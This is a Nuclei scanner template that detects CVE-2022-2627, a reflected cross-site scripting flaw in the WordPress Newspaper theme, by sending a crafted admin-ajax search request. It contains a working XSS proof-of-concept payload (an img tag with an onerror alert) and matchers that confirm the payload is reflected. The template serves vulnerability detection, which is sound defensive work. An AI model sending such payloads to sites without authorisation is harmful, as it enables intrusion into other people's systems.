nuclei-templates/http/cves/2022/CVE-2022-2627.yaml

id: CVE-2022-2627

info:
  name: WordPress Newspaper <12 - Cross-Site Scripting
  author: ramondunker
  severity: medium
  description: |
    WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
  reference:
    - https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2627
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2627
    cwe-id: CWE-79
    epss-score: 0.00071
    cpe: cpe:2.3:a:tagdiv:newspaper:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    framework: wordpress
    vendor: tagdiv
    product: newspaper
  tags: xss,wordpress,wp,wp-theme,newspaper,wpscan,cve,cve2022

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/2
        Host: {{Hostname}}

        action=td_ajax_search&td_string=tej2j1q%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3emvufr

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - '/newspaper'
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200